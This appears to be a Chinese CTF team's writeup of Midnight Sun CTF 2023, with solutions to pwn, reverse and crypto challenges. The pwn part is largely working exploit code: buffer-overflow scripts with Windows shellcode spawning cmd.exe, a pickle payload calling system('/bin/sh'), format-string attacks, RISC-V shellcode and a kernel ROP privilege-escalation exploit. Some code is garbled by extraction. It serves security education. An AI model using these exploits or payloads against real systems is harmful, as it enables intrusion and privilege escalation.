Midnight Sun CTF 2023 Writeup by VP-Union

WriteUp 1年前 (2023) admin
529 0 0

在本次2023年的Midnight Sun CTF国际赛上,星盟安全团队的Polaris战队和ChaMd5的Vemon战队联合参赛,合力组成VP-Union联合战队,勇夺第23名的成绩。

Midnight Sun CTF 2023 Writeup by VP-Union


Midnight Sun CTF 2023 Writeup by VP-Union

Pwn

pyttemjuk

拿到shell之后,不断输入type c:flag.txt就可以拿到flag了

from pwn import *
from time import sleep

context.log_level = 'debug'

li = lambda x : print('x1b[01;38;5;214m' + x + 'x1b[0m')
ll = lambda x : print('x1b[01;38;5;1m' + x + 'x1b[0m')

r = remote('pyttemjuk-1.play.hfsc.tf'1337)
#r = remote('192.168.10.107', 1234)
pause()

gets_plt = 0x40263C
bss_addr = 0x405090

p1 = b'a' * (0x14 + 4 + 0x8)
p1 += p32(gets_plt)
p1 += p32(0x401575)
p1 += p32(bss_addr)

r.sendlineafter('Enter your name: ', p1)


p2 = 'x31xc9x64x8bx41x30x8bx40x0cx8bx40x1cx8bx04x08x8bx04x08x8bx58x08x8bx53x3cx01xdax8bx52x78x01xdax8bx72x20x01xdex41xadx01xd8x81x38x47x65x74x50x75xf4x81x78x04x72x6fx63x41x75xebx81x78x08x64x64x72x65x75xe2x49x8bx72x24x01xdex66x8bx0cx4ex8bx72x1cx01xdex8bx14x8ex01xdax89xd6x31xc9x51x68x45x78x65x63x68x41x57x69x6ex89xe1x8dx49x01x51x53xffxd6x87xfax89xc7x31xc9x51x68x72x65x61x64x68x69x74x54x68x68x41x41x45x78x89xe1x8dx49x02x51x53xffxd6x89xc6x31xc9x51x68x65x78x65x20x68x63x6dx64x2ex89xe1x6ax01x51xffxd7x31xc9x51xffxd6'
#p2 = b'bbbb'
#p2 = 'x31xc9x64x8bx41x30x8bx40x0cx8bx70x14xadx96xadx8bx58x10x8bx53x3cx01xdax8bx52x78x01xdax8bx72x20x01xdex31xc9x41xadx01xd8x81x38x47x65x74x50x75xf4x81x78x04x72x6fx63x41x75xebx81x78x08x64x64x72x65x75xe2x8bx72x24x01xdex66x8bx0cx4ex49x8bx72x1cx01xdex8bx14x8ex01xdax31xf6x89xd6x31xffx89xdfx31xc9x51x68x61x72x79x41x68x4cx69x62x72x68x4cx6fx61x64x54x53xffxd2x83xc4x0cx31xc9x68x65x73x73x42x88x4cx24x03x68x50x72x6fx63x68x45x78x69x74x54x57x31xffx89xc7xffxd6x83xc4x0cx31xc9x51x68x64x6cx6cx41x88x4cx24x03x68x6cx33x32x2ex68x73x68x65x6cx54x31xd2x89xfax89xc7xffxd2x83xc4x0bx31xc9x68x41x42x42x42x88x4cx24x01x68x63x75x74x65x68x6cx45x78x65x68x53x68x65x6cx54x50xffxd6x83xc4x0dx31xc9x68x65x78x65x41x88x4cx24x03x68x63x6dx64x2ex54x59x31xd2x42x52x31xd2x52x52x51x52x52xffxd0xffxd7'
sleep(1)
#p2 = 'x31xc9x64x8bx41x30x8bx40x0cx8bx70x14xadx96xadx8bx48x10x31xdbx8bx59x3cx01xcbx8bx5bx78x01xcbx8bx73x20x01xcex31xd2x42xadx01xc8x81x38x47x65x74x50x75xf4x81x78x04x72x6fx63x41x75xebx81x78x08x64x64x72x65x75xe2x8bx73x1cx01xcex8bx14x96x01xcax89xd6x89xcfx31xdbx68x79x41x41x41x66x89x5cx24x01x68x65x6dx6fx72x68x65x72x6fx4dx68x52x74x6cx5ax54x51xffxd2x83xc4x10x31xc9x89xcaxb2x54x51x83xecx54x8dx0cx24x51x52x51xffxd0x59x31xd2x68x73x41x42x42x66x89x54x24x02x68x6fx63x65x73x68x74x65x50x72x68x43x72x65x61x8dx14x24x51x52x57xffxd6x59x83xc4x10x31xdbx68x65x78x65x41x88x5cx24x03x68x63x6dx64x2ex8dx1cx24x31xd2xb2x44x89x11x8dx51x44x56x31xf6x52x51x56x56x56x56x56x56x53x56xffxd0x5ex83xc4x08x31xdbx68x65x73x73x41x88x5cx24x03x68x50x72x6fx63x68x45x78x69x74x8dx1cx24x53x57xffxd6x31xc9x51xffxd0'
#p2 = 'x31xc9x64xa1x30x00x00x00x8bx40x0cx8bx70x14xadx96xadx8bx58x10x8bx53x3cx01xdax8bx52x78x01xdax8bx72x20x01xdex31xc9x41xadx01xd8x81x38x47x65x74x50x75xf4x81x78x04x72x6fx63x41x75xebx81x78x08x64x64x72x65x75xe2x8bx72x24x01xdex66x8bx0cx4ex49x8bx72x1cx01xdex8bx14x8ex01xdax31xf6x52x5ex31xffx53x5fx31xc9x51x68x78x65x63x00x68x57x69x6ex45x89xe1x51x53xffxd2x31xc9x51x68x65x73x73x00x68x50x72x6fx63x68x45x78x69x74x89xe1x51x57x31xffx89xc7xffxd6x31xf6x50x5ex31xc9x51x68x65x78x65x00x68x63x6dx64x2ex89xe1x6ax00x51xffxd7x6ax00xffxd6xffxffxffxffx00x00x00xffxffxffxffx00x00x00'
#p2 = 'x31xc9x64x8bx41x30x8bx40x0cx8bx70x14xadx96xadx8bx58x10x8bx53x3cx01xdax8bx52x78x01xdax8bx72x20x01xdex31xc9x41xadx01xd8x81x38x47x65x74x50x75xf4x81x78x04x72x6fx63x41x75xebx81x78x08x64x64x72x65x75xe2x8bx72x24x01xdex66x8bx0cx4ex49x8bx72x1cx01xdex8bx14x8ex01xdax31xf6x89xd6x31xc9x51x68x61x72x79x41x68x4cx69x62x72x68x4cx6fx61x64x89xe1x51x53xffxd2x31xc9x66xb9x6cx6cx51x68x72x74x2ex64x68x6dx73x76x63x89xe1x51xffxd0x31xffx89xc7x31xd2x52x66xbax65x6dx52x68x73x79x73x74x89xe1x51x57x31xd2x89xf2xffxd2x31xc9x66xb9x66x6fx51x68x65x6dx69x6ex68x73x79x73x74x89xe1x51xffxd0x31xc9x66xb9x63x68x51x68x5fx67x65x74x89xe1x51x57x31xd2x89xf2xffxd2xffxd0x31xd2x52x68x65x78x69x74x89xe1x51x57xffxd6xffxd0'
r.sendline(p2)

p3 = b'a' * (0x14 + 4)
p3 += p32(bss_addr)
p3 += p32(bss_addr)
r.sendlineafter('Enter your name: ', p3)

sleep(5)
r.sendline('dir')

#r.sendline('calc')
r.interactive()
# midnight{i_prefer_sun_solaris_doors_over_microsoft_windows}

MemeControl

搜索发现有篇文章提到 torch 模块默认启用 pickle ,而 pickle 有任意执行漏洞,搜索找到漏洞利用方法

payload

cos
system
(S'/bin/sh'
tR.
#Y29zCnN5c3RlbQooUycvYmluL3NoJwp0Ui4=

base64 加密后发送

Midnight Sun CTF 2023 Writeup by VP-Union

1

SCAAS

先利用 1 功能把程序 保存到本地

from pwn import *
from struct import pack
from ctypes import *
from LibcSearcher import *
import base64

def s(a):
    p.send(a)
def sa(a, b):
    p.sendafter(a, b)
def sl(a):
    p.sendline(a)
def sla(a, b):
    p.sendlineafter(a, b)
def r():
    p.recv()
def pr():
    print(p.recv())
def rl(a):
    return p.recvuntil(a)
def inter():
    p.interactive()
def debug():
    gdb.attach(p)
    pause()
def get_addr():
    return u64(p.recvuntil(b'x7f')[-6:].ljust(8b'x00'))
def get_sb():
    return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/shx00'))

context(os='windows', arch='i386', log_level='debug')
#p = process('./pwn')
p = remote('scaas-1.play.hfsc.tf'1337)
elf = ELF('./pwn')
#libc = ELF('./libc-2.27-x64.so')
#libc = ELF('/home/w1nd/Desktop/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so')
sla(b'> 'b'1')
rl(b'Here is your SCAAS service: (n')
text = b''
for i in range(83):
    text += rl(b'n')[:-1]
a = base64.b64decode(text)

with open('./pwn''rb+'as f:
    f.write(a)

发现是一个压缩包,解压后得到程序文件。

对着文件开始逆向

Midnight Sun CTF 2023 Writeup by VP-Union

2

推测程序是要经过三步验证,然后输入纯字符 + 数字 shellcode

输入的 password 则对应 retun 的返回值,这里明显需要令等式成立

Midnight Sun CTF 2023 Writeup by VP-Union

3

到 stage 3 这里会比较坑

Midnight Sun CTF 2023 Writeup by VP-Union

4

需要一个数与 8511 相乘,然而该程序是 32 位的,很容易爆寄存器能存放的数的最大值导致最后 cmp 时候出错。这里只需要模拟下寄存器溢出时候的情况。

for i in range(0xfffffff):
    a = 8511 * i
    if a > 0xffffffff:
        b = str(hex(a))
        c = b[-8:]
        d = int(c, 16)
        if d % 0x2B27EA == 24486:
            print(i)

然后就能输入 shellcode 了。

from pwn import *
from struct import pack
from ctypes import *
from LibcSearcher import *
import base64

def s(a):
    p.send(a)
def sa(a, b):
    p.sendafter(a, b)
def sl(a):
    p.sendline(a)
def sla(a, b):
    p.sendlineafter(a, b)
def r():
    p.recv()
def pr():
    print(p.recv())
def rl(a):
    return p.recvuntil(a)
def inter():
    p.interactive()
def debug():
    gdb.attach(p)
    pause()
def get_addr():
    return u64(p.recvuntil(b'x7f')[-6:].ljust(8b'x00'))
def get_sb():
    return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/shx00'))

context(os='linux', arch='i386', log_level='debug')
#p = process('./pwn')
p = remote('scaas-1.play.hfsc.tf'1337)
elf = ELF('./pwn')
#libc = ELF('./libc-2.27-x64.so')
#libc = ELF('/home/w1nd/Desktop/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so')



#gdb.attach(p, 'b *$rebase(0x1609)')

sla(b'> 'b'2')
sla(b'0: ', str(0x916D00))
sla(b'1: ', str(0x707817))
sla(b'2: ', str(1))
sla(b'3: ', str(0x840BC2))
sla(b'4: ', str(0x89228A))

sla(b'0: ', str(1243932))
sla(b'1: ', str(3103430))
sla(b'2: ', str(262505 - 456))
sla(b'3: ', str(262505))
sla(b'4: ', str(0x2b7))

sla(b'0: ', str(2124890))
sla(b'1: ', str(9874561))
sla(b'2: ', str(6280405 + 3274 + 4728))
sla(b'3: ', str(6280405))
sla(b'4: ', str(0))

sla(b'bytes): ''PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJISZTK1HMIQBSVCX6MU3K9M7CXVOSC3XS0BHVOBBE9RNLIJC62ZH5X5PS0C0FOE22I2NFOSCRHEP0WQCK9KQ8MK0AA')
inter()
#pause()

Midnight Sun CTF 2023 Writeup by VP-Union

5

SPD A

mmap 一段 rw 权限内存后,可以写入 0x1000 字节,然后 mprotect 为 x 权限,对寄存器赋值后执行写入的 shellcode。对写入的 shellcode 有检测,并且发现寄存器赋值后 rsp 还是指向栈,于是利用 orw 来读 flag

from pwn import *
from struct import pack
from ctypes import *
from LibcSearcher import *
import base64

def s(a):
    p.send(a)
def sa(a, b):
    p.sendafter(a, b)
def sl(a):
    p.sendline(a)
def sla(a, b):
    p.sendlineafter(a, b)
def r():
    p.recv()
def pr():
    print(p.recv())
def rl(a):
    return p.recvuntil(a)
def inter():
    p.interactive()
def debug():
    gdb.attach(p)
    pause()
def get_addr():
    return u64(p.recvuntil(b'x7f')[-6:].ljust(8b'x00'))
def get_sb():
    return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/shx00'))

context(os='linux', arch='amd64'', log_level='debug')
#p = process('
./pwn')
p = remote('
scaas-1.play.hfsc.tf', 1337)
elf = ELF('
./pwn')
#libc = ELF('
./libc-2.27-x64.so')
#libc = ELF('
/home/w1nd/Desktop/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so')
#gdb.attach(p, '
b *$rebase(0x15ac)')
sa(b'
c0de: ', asm(shellcraft.open('flag') + shellcraft.read(3, 'rsp', 0x30) + shellcraft.write(1, 'rsp', 0x30)))
pr()
#pause()

Midnight Sun CTF 2023 Writeup by VP-Union

6

SPD B

一次程序三次格式化字符串漏洞机会,但是最多只能写入 12 字节,并且一次修改太大会卡栈。

并且由于 12 字节太少,用 %khhn 的方式写一个字节也肯定是不行的

加上我们是可以修改 for 循环用的 i 修改为 0 的,这样我们就可以无限循环触发格式化字符串漏洞了。

于是先修改栈上的 链子 使其指向 main 函数的 返回地址,将其修改为后门函数

from pwn import *
from struct import pack
from ctypes import *
from LibcSearcher import *
import base64

def s(a):
    p.send(a)
def sa(a, b):
    p.sendafter(a, b)
def sl(a):
    p.sendline(a)
def sla(a, b):
    p.sendlineafter(a, b)
def r():
    p.recv()
def pr():
    print(p.recv())
def rl(a):
    return p.recvuntil(a)
def inter():
    p.interactive()
def debug():
    gdb.attach(p)
    pause()
def get_addr():
    return u64(p.recvuntil(b'x7f')[-6:].ljust(8b'x00'))
def get_sb():
    return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/shx00'))

context(os='linux', arch='i386', log_level='debug')
#p = process('./pwn')
p = remote('spdb-1.play.hfsc.tf'40002)
elf = ELF('./pwn')
#libc = ELF('./libc-2.27-x64.so')
#libc = ELF('/home/w1nd/Desktop/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so')

#
sla(b'guess: 'b'%1$p%3$p')
rl(b'0x')
stack = int(p.recv(8), 16)
ret = stack + 0xdc
vuln_ret = stack + 0x8c
i = stack + 0xac
rl(b'0x')
pro_base = int(p.recv(8), 16) - 0x1311
shell = pro_base + 0x138D

sla(b'guess: 'b'%5$n' + p32(i))
payload = b'%' + str(ret & 0xff).encode() + b'c%18$hhn'
sla(b'guess: ', payload)
sla(b'guess: 'b'%5$n' + p32(i))
payload = b'%' + str(shell & 0xff).encode() + b'c%34$hn'
sla(b'guess: ', payload)

sla(b'guess: 'b'%5$n' + p32(i))
payload = b'%' + str((ret + 1) & 0xff).encode() + b'c%18$hhn'
sla(b'guess: ', payload)
sla(b'guess: 'b'%5$n' + p32(i))
payload = b'%' + str((shell >> 8) & 0xff).encode() + b'c%34$hn'
sla(b'guess: ', payload)

sla(b'guess: 'b'%5$n' + p32(i))
payload = b'%' + str((ret + 2) & 0xff).encode() + b'c%18$hhn'
sla(b'guess: ', payload)
sla(b'guess: 'b'%5$n' + p32(i))
payload = b'%' + str((shell >> 16) & 0xff).encode() + b'c%34$hn'
sla(b'guess: ', payload)

sla(b'guess: 'b'%5$n' + p32(i))
payload = b'%' + str((ret + 3) & 0xff).encode() + b'c%18$hhn'
sla(b'guess: ', payload)
payload = b'%' + str((shell >> 24) & 0xff).encode() + b'c%34$hn'
sla(b'guess: ', payload)

inter()
#gdb.attach(p, 'b *$rebase(0x1369)')
print(' stack -> ', hex(stack))
print(' ret -> ', hex(ret))
print(' pro_base -> ', hex(pro_base))
#pause()

SPD C

Midnight Sun CTF 2023 Writeup by VP-Union

7

riscv64 架构题,看到 c0de 联想到 SPD A 猜想是写入 shellcode

网上找到 shellcode 写入拿到 shell(https://xz.aliyun.com/t/8977#toc-4)

from pwn import *
from struct import pack
from ctypes import *
from LibcSearcher import *
import base64

def s(a):
    p.send(a)
def sa(a, b):
    p.sendafter(a, b)
def sl(a):
    p.sendline(a)
def sla(a, b):
    p.sendlineafter(a, b)
def r():
    p.recv()
def pr():
    print(p.recv())
def rl(a):
    return p.recvuntil(a)
def inter():
    p.interactive()
def debug():
    gdb.attach(p)
    pause()
def get_addr():
    return u64(p.recvuntil(b'x7f')[-6:].ljust(8b'x00'))
def get_sb():
    return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/shx00'))

context(os='linux', arch='amd64', log_level='debug')
#p = process(['qemu-riscv64', './pwn'])
p = remote('spdc-1.play.hfsc.tf'40003)
elf = ELF('./pwn')
#libc = ELF('./libc-2.27-x64.so')
#libc = ELF('/home/w1nd/Desktop/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so')

shellcode = b"x01x11x06xecx22xe8x13x04x21x02xb7x67x69x6ex93x87xf7x22x23x30xf4xfexb7x77x68x10x33x48x08x01x05x08x72x08xb3x87x07x41x93x87xf7x32x23x32xf4xfex93x07x04xfex01x46x81x45x3ex85x93x08xd0x0dx73x00x00x00"

sla(b'c0de: ', shellcode)

inter()

SPD D

一道内核题目,查看发现没开什么内核保护,驱动也只开了 NX 保护。

Midnight Sun CTF 2023 Writeup by VP-Union

8

漏洞是一个很明显的栈溢出。

没有开启 kalsr,直接 kernel rop,最后利用 kpti_trampoline 绕过保护并且返回用户态

#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>
#include <signal.h>
#include <unistd.h>
#include <syscall.h>
#include <pthread.h>
#include <poll.h>
#include <linux/userfaultfd.h>
#include <linux/fs.h>
#include <sys/shm.h>
#include <sys/msg.h>
#include <sys/ipc.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#define ut uint64_t

void backdoor(){
    system("/bin/sh");
}
void get_root(){
    __asm__(
        "mov rdi, 0;"
        "mov rax, 0xffffffff81055db0;"
        "call rax;"
        "mov rdi, rax;"
        "mov rax, 0xffffffff81055f00;"
        "call rax;"
            );
}
ut user_cs, user_ss, user_rsp, user_flag;
void save_status(){
    __asm__(
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_rsp, rsp;"
        "pushf;"
        "pop user_flag;"
            );
}
int main(){
    save_status();
    int fd = open("/dev/vuln"2);
    ut buf[50] = {0};
    buf[33] = (ut)get_root;
    buf[34] = 0xffffffff81400c36//kpti_trampoline
    buf[35] = 0;
    buf[36] = 0;
    buf[37] = (ut)backdoor;
    buf[38] = user_cs;
    buf[39] = user_flag;
    buf[40] = user_rsp;
    buf[41] = user_ss;

    write(fd, buf, sizeof(buf));
    puts("[+]root");
    return 0;
}

最后利用 musl 编译,上传执行拿到 flag

midnight{964fe6242ca987d24f0fdfd851983c68}

Reverse

Pressure

本质上这个题目是通过内存加载多个elf文件来进行实现整个加密过程,我们打开文件可以发现

Midnight Sun CTF 2023 Writeup by VP-Union


题目通过sub_55A78CFBA2C9对内存进行解密,在调试过程中可以从内存中查看到有两个elf文件的信息,我们编写一个idc脚本进行提取:

static main(void)
{
  auto fp, begin, end, dexbyte;
  fp = fopen("C:\Users\Equinox\Desktop\elf""wb");
  begin = 0x07F84B1E76010;
  end = begin + 0x4ff88;
  for ( dexbyte = begin; dexbyte < end; dexbyte ++ )
      fputc(Byte(dexbyte), fp);
}

之后我们每次拿到的elf文件中都是上面的格式,有些elf中没有信息,大概能提取出16个elf

其中的加密逻辑都是下面的if进行条件判断,我们分别对其进行解密即可

from z3 import *
from ctypes import *
from Crypto.Util.number import long_to_bytes
a1 = BitVec('flag'16)
s = Solver()
# def check1(): #'_u'
#     v3 = 0
#     for  i in range(16):
#         v4 = ((1 << i) & a1) >> i
#         if  (i & 3) != 0 :
#             if  i % 4 == 1 :
#                 v3 |= ((((1 << i) & 0xA55A) >> i) ^ v4) << i  
#             else:
#                 if  i % 4 == 2 :
#                     v1 = ((((1 << i) & 0xA55A) >> i) ^ v4) << i
#                 else:
#                     v1 = ((((1 << i) & 0x5AA5) >> i) ^ v4) << i
#                 v3 |= v1
#         else:
#             v3 |= ((((1 << i) & 0x5AA5) >> i) ^ v4) << i
#     s.add(v3 == 0x63B6)


def check2(): #b'3b'
    # v3 = 0
    # v4 = 1
    # for i in range(16):
    #     if (v4 & a1) != 0 :
    #         v1 = 0
    #     else:
    #         v1 = v4
    #     v3 |= v1
    #     v4 *= 2
    # s.add(v3 == 0xFFFFCC9D)
    
    for i in range(65535):
        v3 = 0
        v4 = 1
        for j in range(16):
            if v4 & i != 0 :
                v1 = 0
            else:
                v1 = v4
            v3 |= v1
            v4 *= 2
            v4 &= 0xFFFF
        if v3 == 0xCC9D:
            print(i)
            break

def check3(): # b't4'
    for i in range(65535):
        t = i
        for j in range(16):
            v4 = t & 1
            t >>= 1
            if  v4 :
                t ^= 0xB400
        if t == 18718:
            print(i)
            break
    #s.add(a1 == 18718) 

def check4():
    a2 = 0x1337
    for i in range(65535):
        t = i
        if ((t << 8)&0xffff | ((a2 + t) ^ ((t >> 8) & 0xff))&0xffff)&0xffff == 24546:
            print(i)
            break
 # s.add(((a1 << 8) | ((a2 + a1) ^ (a1 >> 8 & 0xff))) == 24546)

def check5(): # b'3h'
#     if a1&1 != 0:
#        a2 = 3
#        s.add(((a1 << a2) | (a1 >> (16 - a2))) == 107808365) 
#     else:
#         a2 = 3
#         s.add((a1 >> a2 == 107808365) | (a1 << (16 - a2)))
    for i in range(65535):
        t = i
        # if t&1 != 0:
        #     a2 = 3
        #     if ((t << a2) | (t >> (16 - a2))) == 107808365:
        #         print(i)
        #         break
        # else:
        a2 = 3
        if (t >> a2) == (107808365 &0xffff):
            print(i)
            break

def check6(): # b'c_'
    v2 = 0
    for i in range(16):
        v2 |= ((a1 >> i) & 1) << (15 - i)     
    s.add(v2 == 64198)

def check7(): # b'xf0x0c'
#     s.add(a1^0xf00d == 1)
    for i in range(65535):
        t = i
        if (t^0xf00d) == 1:
            print(i)
            

# def check8(): #kc
#     a2 = 0x6907
#     s.add(((16 * ((((a1 >> 4) & 0xF) + ((a2 >> 4) & 0xF)) & 0xF)) | (((((a1 >> 8 &0xff) & 0xF) + ((a2>> 8 &0xff) & 0xF)) & 0xF) << 8) | ((((a2 >> 12) * (a1 >> 12)) & 0xF) << 12) | ((a2 & 0xF) * (a1 & 0xF)) & 0xF) == 17509)
#     a2 = 0x9231
#     s.add(((16 * ((((a1 >> 4) & 0xF) + ((a2 >> 4) & 0xF)) & 0xF)) | (((((a1 >> 8 &0xff) & 0xF) + ((a2 >> 8 &0xff) & 0xF)) & 0xF) << 8) | ((((a2 >> 12) * (a1 >> 12)) & 0xF) << 12) | ((a2 & 0xF) * (a1 & 0xF)) & 0xF)== 28051)

check4()
# print(s.check())
# print(s.model())
print(long_to_bytes(13160))

#_u3bt4  3hc_  kc
#u_b34t_th3_crack

大致看看上面代码就行(逻辑太混了点)

通过z3以及手动爆破的方式可以得到下面的字符串(题目存在多解,但是下面的输入都是能够success,提交怎么都不对)

Midnight Sun CTF 2023 Writeup by VP-Union


于是转头去问出题人,于是把下面的cr4ck替换一下,换成c10ck即可

Midnight Sun CTF 2023 Writeup by VP-Union

Open Source Software

题目给出了C语言源代码,使用define定义了很多表达式,可以直接用z3计算,给出exp

from z3 import *

def rol_4(R2K):
    return (((R2K)<<4)|((R2K)>>4))
def xor_byte(A9W,B8X):
    return (((A9W)^(B8X))&0xff)
def Y2G(A9W,B8X):
    return ((A9W)&0x55)|(((B8X)&0xaa)>>1)
def W4U(A9W,B8X):
    return ((((A9W)*(B8X))%1257)&0xff)
def V5H(T3S):
    return (((T3S)<<1)|((T3S)>>7))
def S6E(T3S):
    return (((T3S)<<3)^((T3S)>>5))
def D7F(A9W,B8X):
    return (((A9W)<<4)^(B8X))
def A1C(P6F,Q5G,R4H,S3I):
    return rol_4(W4U(V5H(rol_4(Y2G(V5H(xor_byte(P6F,Q5G)),V5H(xor_byte(R4H,S3I))))),Q5G))
def B2D(P6F,Q5G):
    return V5H(rol_4(xor_byte(P6F,Q5G)))
def C3E(P6F,Q5G):
    return D7F(Q5G,rol_4(xor_byte(P6F,Q5G)))
def D4F(P6F,Q5G):
    return ((P6F)^(Q5G))
def F2J(K2L):
    return (V5H(rol_4(K2L)))
def E1I(K2L, q1s):
    return W4U(V5H(rol_4(K2L)), q1s)
def G3K(K2L):
    return S6E(K2L)

s = Solver()

flag =  [BitVec(('flag%s' % i),32for i in range(24) ]
#flag =  [Int(('flag%s' % i)) for i in range(24) ]

p5f=[16,0,8,20,14,12,18,2,22,10,6,4]
i = 0
j9n = [0x1010024050034070287840x12d2d0x10d0d0421040120240xc4c401563340x161610270561]
g7k = [0,0,0,0,0,0]
h8m = [0,0,0,0,0,0]

for i in range(0,24):
    s.add(flag[i] > 32)
    s.add(flag[i] < 128)

for i in range(0244):
    if i < 12:
        s.add(F2J(B2D(flag[p5f[i+3]],flag[p5f[i+3]+1])) == j9n[p5f[i+3]/2])
        g7k[i/4]=D4F(C3E(flag[i*2],flag[i*2+2]),C3E(flag[i*2+4],flag[i*2+6]))
        g7k[(i/4)+3]= D4F(C3E(flag[i*2+1],flag[i*2+3]),C3E(flag[i*2+5],flag[i*2+7]))
        s.add(F2J(B2D(flag[p5f[i+1]],flag[p5f[i+1]+1])) == j9n[p5f[i+1]/2])
        s.add(F2J(B2D(flag[p5f[i+2]],flag[p5f[i+2]+1])) == j9n[p5f[i+2]/2])
        s.add(F2J(B2D(flag[p5f[i]],flag[p5f[i]+1])) == j9n[p5f[i]/2])
        if i<4:
            h8m[i/4]=A1C(flag[i],flag[i+4],flag[i+8],flag[i+12])
        if i==4:
            h8m[1]=A1C(flag[16],flag[20],flag[1],flag[5])
    else:
        if i < 16:
            h8m[i/6]=A1C(flag[i-3],flag[i+1],flag[i+5],flag[i*2-3])
            h8m[3]=A1C(flag[2],flag[6],flag[10],flag[14])
h8m[4]=A1C(flag[18],flag[22],flag[3],flag[7])
h8m[5]=A1C(flag[11],flag[15],flag[19],flag[23])



s.add(E1I(h8m[0], 1) == 0x5b)
s.add(E1I(h8m[1], 2) == 13)
s.add(E1I(h8m[2], 3) == 0x5D)
s.add(E1I(h8m[3], 4) == 0244)
s.add(E1I(h8m[4], 5) == 52)
s.add(E1I(h8m[5], 6) ==0xDC)


mul_num = 0
for i in range(24):
    mul_num = ((mul_num*251)^flag[i]) & 0xffffffff

s.add(mul_num == 0x4E6F76D0)

s.add(G3K(g7k[0])==0x202)
s.add(G3K(g7k[1])==0x1aa2)
s.add(G3K(g7k[2])==0x5a5)
s.add(G3K(g7k[3])==03417)
s.add(G3K(g7k[4])==0x3787)
s.add(G3K(g7k[5])==030421)
s.add(flag[0] == 109)
s.add(flag[1] == 105)
s.add(flag[2] == 100)
s.add(flag[3] == 110)
s.add(flag[4] == 105)
s.add(flag[5] == 103)
s.add(flag[6] == 104)
s.add(flag[7] == 116)
s.add(flag[8] == 123)
s.add(flag[23] == 125)

print(s)
print(s.check())
m = s.model()
print m
for i in range(0,24):
    print (chr(int("%s" % (m[flag[i]]))))

expectations

通过注册一系列的异常处理来修改 magic 的值,然后这个值会拿去乘输入来验证是否正确。

switch ( (i + 1) * (v7 % 6) % 6 )
    {
      case 0:
        if ( !_setjmp(env) )
          magic = dword_559E227B81A8 / 0;       // 857 check SIGFPE
        break;
      case 1:
        magic = 99;
        if ( !_setjmp(env) )
          BUG();                                // 841 check SIGILL
        return result;
      case 2:
        if ( !_setjmp(env) )
          magic = (1.797693134862316e308 * dword_559E227B81A4 + dword_559E227B81A8);// 0x80000000
        break;
      case 3:                                   // 1
        _setjmp(env);
        ++magic;
        break;
      case 4:
        if ( !_setjmp(env) )
        {
          v3 = dword_559E227B81A8 - (dword_559E227B81A4 * dword_559E227B81AC) / 0.0;// 0x80000000
          magic = v3;
        }
        break;
      case 5:
        if ( !_setjmp(env) )
          sub_559E227B547A();                   // 981 check SIGSEGV
        return result;
      default:
        break;
    }

但是有一个地方需要注意的是,虽然有些分支会改成 0x80000000,但是这个数会被拓展为 0xffffffff80000000,在爆破字节的时候,前者是求不出结果的,而后者可以。

mov     edx, cs:magic
movsxd rdx, edx

所以最后甚至可以手搓。前几个字节是 midnight{ ,其中,前八个会用来生成一个序列,然后第九个字节就能进行验证了。此后的每一个输入都在验证,因此甚至可以直接手搓。每个字节似乎都能有两个可能,选出其中有意义的密文就可以了。

然后另外一点是,最终的输出是拿计算结果去校验的,通过这个方法保证了唯一解。不然实际上好几个输入都能让它显示 All characters processed. 的。

最后写一个深搜搞定了:

#include <iostream>
#include<vector>
using namespace std;
unsigned char ida_chars[] =
{
  0xF50x9B0x120xAF0x7A0x230x590x8E0x1B0x17,
  0x030x190x090x050x2C0x3E0x0E0x380x280x05,
  0x2C0x3E0x0E0x380x400x170x280x270x110x0D,
  0x260x250x350x330x090x380x190x2C0x400x08,
  0x3E0x0E0x380x1E0x400x080x3E0x0E0x380x1B,
  0x090x190x270x210x0D0x1B0x250x350x3A0xD1,
  0x040xF80xBC0x340x230x380xEB0x980x480x14,
  0x320x950x7B0x910x8D0x820x9F0x860xF80x91,
  0xC80x780xDE0x4E0x210xAA0xFB0x5B
};
vector<char> flagn;
unsigned long long  magic[] = { 0x359 ,841 ,0xffffffff80000000,1,0xffffffff80000000 ,981 };
int get_byte = 0;
int start = 0;
int break_triger = 0;
void dfs(int depeth,int pre,int num) {
 if (num == 25)
 {
  for(int i=0;i<25;i++)
  {
   printf("%c", flagn[i]);
  }
  printf("n");
  return;
 }
 int key = (depeth + 1) * pre % 6;
 int flag = 0;
 for (int i = 32; i < 126; i++)
 {
  if (((i + 177573LL) * magic[key]) % 0x41 == ida_chars[depeth])
  {
   char re = i;
   flagn.push_back(re);
   flag=1;
   dfs(depeth+1,i,num+1);
   flagn.pop_back();
  }
 }
 if (flag == 0)return;
}

int main() {
 dfs(9,1230);
}

好巧不巧正好是最后一个,或许我应该直接从小写字符开始爆破的。

Crypto

Mt. Random

源代码如下。

<?php
session_start();

$flag = "";

function flag_to_numbers($flag) {
    $numbers = [];
    foreach (str_split($flag) as $char) {
        $numbers[] = ord($char);
    }
    return $numbers;
}

function non_continuous_sample($min, $max, $gap_start, $gap_end) {
    $rand_num = mt_rand($min, $max - ($gap_end - $gap_start));
    if ($rand_num >= $gap_start) {
        $rand_num += ($gap_end - $gap_start);
    }
    return $rand_num;
}

if(!str_starts_with($flag, "midnight{")){
    echo "Come back later.n";
    exit();
}

$flag_numbers = flag_to_numbers($flag);

if (isset($_GET['generate_samples'])) {
    header('Content-Type: application/json');

    // Maybe we can recover these constants 
    $min = 0;
    $max = 0;
    $gap_start = 0;
    $gap_end = 0;
    $seed = mt_rand(010000); // Varying seed
    $samples = [];

    foreach ($flag_numbers as $number) {
        mt_srand($seed + $number);
        $samples[] = non_continuous_sample($min, $max, $gap_start, $gap_end);
    }

